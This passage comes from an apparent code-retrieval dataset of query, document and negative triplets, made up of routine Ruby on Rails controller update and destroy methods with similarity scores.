'Bait was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_bait.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @control_bay.update(control_bay_params)\n format.html { redirect_to ['control',@bay], notice: 'La bahía fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @bay }\n else\n format.html { render :edit }\n format.json { render json: @bay.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @m_beli_nota_second_d = MBeliNotaSecondD.find(params[:id])\n\n respond_to do |format|\n if @m_beli_nota_second_d.update_attributes(params[:m_beli_nota_second_d])\n format.html { redirect_to @m_beli_nota_second_d, notice: 'M beli nota second d was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @m_beli_nota_second_d.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n if @razmer_go.update_attributes(params[:razmer_go])\n format.html { redirect_to @razmer_go, notice: 'Razmer go was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @razmer_go.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @blar.update(blar_params)\n format.html { redirect_to @blar, notice: 'Blar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @blar.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @frais_hebergement = FraisHebergement.find(params[:id])\n\n respond_to do |format|\n if @frais_hebergement.update_attributes(params[:frais_hebergement])\n format.html { redirect_to @frais_hebergement, :notice => 'Le frais d\\'hébergement a bien été modifié' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_hebergement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @betraege = Betraege.find(params[:id])\n\n respond_to do |format|\n if @betraege.update_attributes(params[:betraege])\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trinh_do_can_bo.update(trinh_do_can_bo_params)\n format.html { redirect_to @trinh_do_can_bo, notice: 'Trinh do can bo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trinh_do_can_bo }\n else\n format.html { render :edit }\n format.json { render json: @trinh_do_can_bo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update\n respond_to do |format|\n if @bottle.update(bottle_params)\n format.html { redirect_to user_path(current_user.id), notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @brand = Brand.find(params[:id])\n\n respond_to do |format|\n if @brand.update_attributes(params[:brand])\n format.html { redirect_to @brand, notice: 'Успешно обновлена информация о производетеле.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @brand.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @registro_bovino = RegistroBovino.find(params[:id])\n\n respond_to do |format|\n if @registro_bovino.update_attributes(params[:registro_bovino])\n #format.html { redirect_to @registro_bovino, notice: 'Registro bovino was successfully updated.' }\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registro_bovino.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@bundles_items_design = BundlesItemsDesign.find(params[:id])\n #\n #respond_to do |format|\n # if @bundles_items_design.update_attributes(params[:bundles_items_design])\n # format.html { redirect_to @bundles_items_design, notice: 'Bundles items design was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @bundles_items_design.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def update\n respond_to do |format|\n if @kishangarh_marble.update(kishangarh_marble_params)\n format.html { redirect_to @kishangarh_marble, notice: 'Kishangarh marble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kishangarh_marble.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @lich_su_binh_bau = LichSuBinhBau.find(params[:id])\n\n respond_to do |format|\n if @lich_su_binh_bau.update_attributes(params[:lich_su_binh_bau])\n format.html { redirect_to @lich_su_binh_bau, notice: 'Lich su binh bau was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lich_su_binh_bau.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @repuesto_bolet.update(repuesto_bolet_params)\n format.html { redirect_to @repuesto_bolet, notice: 'Repuesto bolet was successfully updated.' }\n format.json { render :show, status: :ok, location: @repuesto_bolet }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_bolet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tauthorize! :update, DetalleRestriccion\n respond_to do |format|\n @concepto_gastos = ConceptoGasto.all\n if @detalle_restriccion.update(detalle_restriccion_params)\n format.html { redirect_to gestionar_restricciones_path, notice: 'Actualizado correctamente'}\n #format.html { redirect_to @detalle_restriccion, notice: 'Detalle restriccion fue actualizado satisfactoriamente.' }\n #format.json { render :show, status: :ok, location: @detalle_restriccion }\n else\n format.html { redirect_to gestionar_restricciones_path, alert: 'No pueden guardarse'}\n #format.html { render :edit }\n #format.json { render json: @detalle_restriccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalle = @recibo.renglon_recdetalles.find(params[:id])\n\n respond_to do |format|\n if @renglon_recdetalle.update_attributes(params[:renglon_recdetalle])\n format.html { redirect_to @recibo, notice: 'Renglon recdetalle was successfully updated.' }\n format.json { render json: @renglon_recdetalle }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @renglon_recdetalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @nabe = Nabe.find(params[:id])\n\n respond_to do |format|\n if @nabe.update_attributes(params[:nabe])\n format.html { redirect_to @nabe, notice: 'Nabe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nabe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @zf_bjietu.update(zf_bjietu_params)\n format.html { redirect_to @zf_bjietu, notice: 'Zf bjietu was successfully updated.' }\n format.json { render :show, status: :ok, location: @zf_bjietu }\n else\n format.html { render :edit }\n format.json { render json: @zf_bjietu.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boleta.update(boleta_params)\n format.html { redirect_to @boleta, notice: 'Boleta was successfully updated.' }\n format.json { render :show, status: :ok, location: @boleta }\n else\n format.html { render :edit }\n format.json { render json: @boleta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @b_twelf.update(b_twelf_params)\n format.html { redirect_to year_action_plan_path(@year,@action_plan), notice: 'B twelf was successfully updated.' }\n format.json { render :show, status: :ok, location: @b_twelf }\n else\n format.html { render :edit }\n format.json { render json: @b_twelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bahan = Bahan.find(params[:id])\n\n respond_to do |format|\n if @bahan.update_attributes(params[:bahan])\n format.html { redirect_to @bahan, notice: 'Bahan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bahan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @business_metum.update(business_metum_params)\n format.html { redirect_to @business_metum, notice: 'Business metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @business_metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @alumno = Alumno.find(params[:id])\n\n respond_to do |format|\n if @alumno.update_attributes(params[:alumno])\n head :no_content\n else\n render json: @alumno.errors, status: :unprocessable_entity\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.find(params[:id])\n \n #Sicherstellen, dass Benutzer synchronisiert wird auch wenn nur Objekt-Zuordnungen anders sind!\n @benutzer.updated_at = DateTime.now \n\n if bNode.xpath('objekt_zuordnungs').length > 0\n @benutzer.setze_objekt_zuordnungen(bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i})\n end\n if @benutzer.update(benutzer_params(bNode))\n success(nil)\n else\n error(@benutzer.errors)\n end\n end", "def update\n respond_to do |format|\n if @bill_cargo.update_attributes(params[:bill_cargo])\n format.html { redirect_to @bill_cargo, :flash => {:success => \"修改成功\"} }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_cargo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n if @brag.update_attributes(params[:brag])\n format.html { redirect_to @brag, notice: 'Brag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wombat.update(wombat_params)\n format.html { redirect_to @wombat, notice: 'Wombat was successfully updated.' }\n format.json { render :show, status: :ok, location: @wombat }\n else\n format.html { render :edit }\n format.json { render json: @wombat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trenton = Trenton.first\n\n respond_to do |format|\n if @trenton.update_attributes(params[:trenton])\n format.html { redirect_to about_path, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trenton.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @title_view = 'Tipo de Denuncias'\n @request_and_complaint_complaint_type = RequestAndComplaint::ComplaintType.find(params[:id])\n\n respond_to do |format|\n if @request_and_complaint_complaint_type.update_attributes(params[:request_and_complaint_complaint_type])\n format.html { redirect_to(@request_and_complaint_complaint_type, :notice => 'Complaint type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @request_and_complaint_complaint_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wbgt.update(wbgt_params)\n format.html { redirect_to @wbgt, notice: 'Wbgt was successfully updated.' }\n format.json { render :show, status: :ok, location: @wbgt }\n end\n end\n end", "def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n set_boat\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to harbour_boats_path, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.updated', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :ok, location: @banco }\n else\n format.html { render :edit }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end", "def update\n respond_to do |format|\n if @compra_venta_normal.update(compra_venta_normal_params)\n format.html { redirect_to @compra_venta_normal, notice: 'Compra venta normal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @compra_venta_normal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @vrabat = Vrabat.find(params[:id])\n\n respond_to do |format|\n if @vrabat.update_attributes(params[:vrabat])\n format.html { redirect_to @vrabat, notice: 'Vrabat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vrabat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bl = Bl.find(params[:id])\n\n respond_to do |format|\n if @bl.update_attributes(params[:bl])\n format.html { redirect_to @bl, notice: 'Bl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bl.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @type_breeder.update(type_breeder_params)\n format.html { redirect_to admin_type_breeders_url, notice: 'El tipo criador fue modificado' }\n format.json { render :show, status: :ok, location: @type_breeder }\n else\n flash[:notice] = 'Tipo de criador no puede ser modificado'\n format.html { render :edit }\n format.json { render json: @type_breeder.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boite.update(boite_params)\n format.html { redirect_to @boite, notice: 'Boite was successfully updated.' }\n format.json { render :show, status: :ok, location: @boite }\n else\n format.html { render :edit }\n format.json { render json: @boite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mostsmallmission = Mostsmallmission.find(params[:id])\n\n respond_to do |format|\n if @mostsmallmission.update_attributes(params[:mostsmallmission])\n format.html { redirect_to @mostsmallmission, notice: 'Mostsmallmission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mostsmallmission.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @special_needs_type = SpecialNeedsType.find(params[:id])\n\n respond_to do |format|\n if @special_needs_type.update_attributes(params[:special_needs_type])\n format.html { redirect_to @special_needs_type, :notice => 'Tipo de necessidade especial atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @special_needs_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @manage_retreat.update(manage_retreat_params)\n format.html { redirect_to @manage_retreat, notice: 'Manage retreat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @manage_retreat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(params[:boat])\n format.html { redirect_to(@boat, :notice => 'Boat was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @objet = Objet.find(params[:id])\n\n respond_to do |format|\n if @objet.update_attributes(params[:objet])\n format.html { redirect_to @objet, notice: 'The found item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @treinamento_ti.update(treinamento_ti_params)\n format.html { redirect_to @treinamento_ti, notice: 'Treinamento de TI atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @treinamento_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bodega.update(bodega_params)\n format.html { redirect_to @bodega, notice: 'Se actualizon correctamnete la Bodega.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boredom.update(boredom_params)\n format.html { redirect_to @boredom, notice: 'Boredom was successfully updated.' }\n format.json { render :show, status: :ok, location: @boredom }\n else\n format.html { render :edit }\n format.json { render json: @boredom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @frbr_manifestation = FrbrManifestation.find(params[:id])\n\n respond_to do |format|\n if @frbr_manifestation.update_attributes(params[:frbr_manifestation])\n format.html { redirect_to @frbr_manifestation, notice: 'Frbr manifestation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @frbr_manifestation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n if @broad.update_attributes(params[:broad])\n format.html { redirect_to @broad, notice: 'Broad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @borad = Borad.find(params[:id])\n\n respond_to do |format|\n if @borad.update_attributes(params[:borad])\n format.html { redirect_to @borad, :notice => 'Borad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @borad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @specialty = Specialty.find(params[:id])\n\n if @specialty.update(specialty_params)\n head :no_content\n else\n render json: @specialty.errors, status: :unprocessable_entity\n end\n end", "def update\n @alumno = Alumno.find(params[:id])\n\n respond_to do |format|\n if @alumno.update_attributes(params[:alumno])\n format.html { redirect_to @alumno, notice: 'El alumno ha sido actualizado.' }\n format.json { head :no_content }\n else\n atributos\n format.html { render action: \"edit\" }\n format.json { render json: @alumno.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nha_xuat_ban.update(nha_xuat_ban_params)\n format.html { redirect_to @nha_xuat_ban, notice: \"Nha xuat ban was successfully updated.\" }\n format.json { render :show, status: :ok, location: @nha_xuat_ban }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @nha_xuat_ban.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @betum.update(betum_params)\n format.html { redirect_to @betum, notice: 'Betum was successfully updated.' }\n format.json { render :show, status: :ok, location: @betum }\n else\n format.html { render :edit }\n format.json { render json: @betum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tenni = Tenni.find(params[:id])\n\n respond_to do |format|\n if @tenni.update_attributes(params[:tenni])\n format.html { redirect_to @tenni, notice: 'Tenni was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenni.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @wbr_datum = WbrDatum.find(params[:id])\n\n respond_to do |format|\n if @wbr_datum.update_attributes(params[:wbr_datum])\n format.html { redirect_to wbr_data_path, notice: 'Wbr datum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wbr_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(borrowernumber, params)\n #raise ArgumentError, \"need both priority and branchcode params!\" unless params[:priority] && params[:branchcode]\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(\"#{intranet(:koha_rest_api)}patrons/#{borrowernumber}\")\n res = http.put(uri, params.to_json, headers)\n expect(res.code).to eq(\"200\"), \"got unexpected #{res.code} when updating patron.\\nResponse body: #{res.body}\"\n res.body\n end", "def update\n @rental = Rental.friendly.find(params[:rental_id])\n \n\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to rental_path(@rental), notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n if @metodo.update_attributes(params[:metodo])\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @sivic_banco.update(sivic_banco_params)\r\n format.html { redirect_to @sivic_banco, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_banco.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @lembrete.update(lembrete_params)\n flash[:success] = 'lembrete editado com sucesso.'\n format.html { redirect_to @lembrete }\n format.json { render :show, status: :ok, location: @lembrete }\n else\n flash[:danger] = 'problemas criando o registro (update).'\n format.html { render :edit }\n format.json { render json: @lembrete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @title = \"Bundesliga Eintrag bearbeiten\"\n @german_go_league = GermanGoLeague.find(params[:id])\n\n respond_to do |format|\n if @german_go_league.update_attributes(params[:german_go_league])\n format.html { redirect_to :action => \"index\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @german_go_league.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bairro.update(bairro_params)\n format.html { redirect_to @bairro, notice: 'Bairro atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @bairro }\n else\n format.html { render :edit }\n format.json { render json: @bairro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n if @frais_repa.update_attributes(params[:frais_repa])\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été modifé' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @beast.update(beast_params)\n format.html { redirect_to @beast, notice: 'Dane bestii zostały zaktualizowane' }\n format.json { render :show, status: :ok, location: @beast }\n else\n format.html { render :edit }\n format.json { render json: @beast.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @twenty.update(twenty_params)\n format.html { redirect_to @twenty, notice: 'Twenty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @twenty.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6856805", "0.67771626", "0.6650239", "0.65176123", "0.6372956", "0.6281362", "0.6272229", "0.6253973", "0.62455356", "0.62190616", "0.6189634", "0.61780995", "0.6168091", "0.61661756", "0.6151665", "0.6149953", "0.61417776", "0.61407286", "0.61232656", "0.6098669", "0.6096645", "0.60960484", "0.6094871", "0.60781014", "0.6072669", "0.6050912", "0.6030467", "0.6030201", "0.6018352", "0.60126644", "0.60067606", "0.60064715", "0.60045487", "0.6001222", "0.59723264", "0.5967834", "0.59605247", "0.5959217", "0.59523445", "0.595137", "0.59323025", "0.5925522", "0.59153265", "0.59118694", "0.5894514", "0.5894514", "0.5894514", "0.58942777", "0.58921754", "0.5886699", "0.5883619", "0.5883474", "0.5875021", "0.5873484", "0.5872647", "0.5870065", "0.5869831", "0.58677477", "0.5867653", "0.5864164", "0.58641464", "0.58609873", "0.5859849", "0.5858425", "0.58553886", "0.5850958", "0.58502644", "0.5848909", "0.5846066", "0.5844654", "0.584176", "0.58412737", "0.5840252", "0.5839085", "0.58384454", "0.58368754", "0.5836047", "0.58357185", "0.583499", "0.5832012", "0.58293295", "0.58270127", "0.5826378", "0.5824191", "0.582101", "0.5820013", "0.5817092", "0.5814606", "0.5812283", "0.5811285", "0.5807982", "0.58059436", "0.58038706", "0.5801681", "0.57993376", "0.5799329", "0.5799066", "0.57987726", "0.57983667", "0.5797465" ]
0.6817557
1
DELETE /brite_td_aswaxman_rt_waxmen/1 DELETE /brite_td_aswaxman_rt_waxmen/1.json
def destroy @brite_td_aswaxman_rt_waxman.destroy respond_to do |format| format.html { redirect_to brite_td_aswaxman_rt_waxmen_url, notice: 'Brite td aswaxman rt waxman was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @brite_td_asbarabasi_rt_waxman.destroy\n respond_to do |format|\n format.html { redirect_to brite_td_asbarabasi_rt_waxmen_url, notice: 'Brite td asbarabasi rt waxman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @brite_rt_waxman.destroy\n respond_to do |format|\n format.html { redirect_to brite_rt_waxmen_url, notice: 'Brite rt waxman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @binh_bau = BinhBau.find(params[:id])\n @binh_bau.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_binh_baus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boat = Boat.find(params[:id])\n remove_reknro_from_berth\n @boat.destroy\n\n respond_to do |format|\n format.html { redirect_to boats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bay.destroy\n respond_to do |format|\n format.html { redirect_to bays_url, notice: 'La bahía fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @brend = Brend.find(params[:id])\n @brend.destroy\n\n respond_to do |format|\n format.html { redirect_to brends_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lich_su_binh_bau = LichSuBinhBau.find(params[:id])\n @lich_su_binh_bau.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_lich_su_binh_baus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gran_unidad.destroy\n respond_to do |format|\n format.html { redirect_to gran_unidad_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.destroy\n\n respond_to do |format|\n format.html { redirect_to bruschetta_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @restaurant.branches.each do |branch|\n branch.destroy\n end\n\n @restaurant.destroy\n respond_to do |format|\n format.html { redirect_to restaurants_url, notice: 'Restaurant eliminado correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @makrana_marble.destroy\n respond_to do |format|\n format.html { redirect_to makrana_marbles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kishangarh_marble.destroy\n respond_to do |format|\n format.html { redirect_to kishangarh_marbles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_bait = Bait.find(params[:id])\n @admin_bait.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_baits_url }\n format.json { head :ok }\n 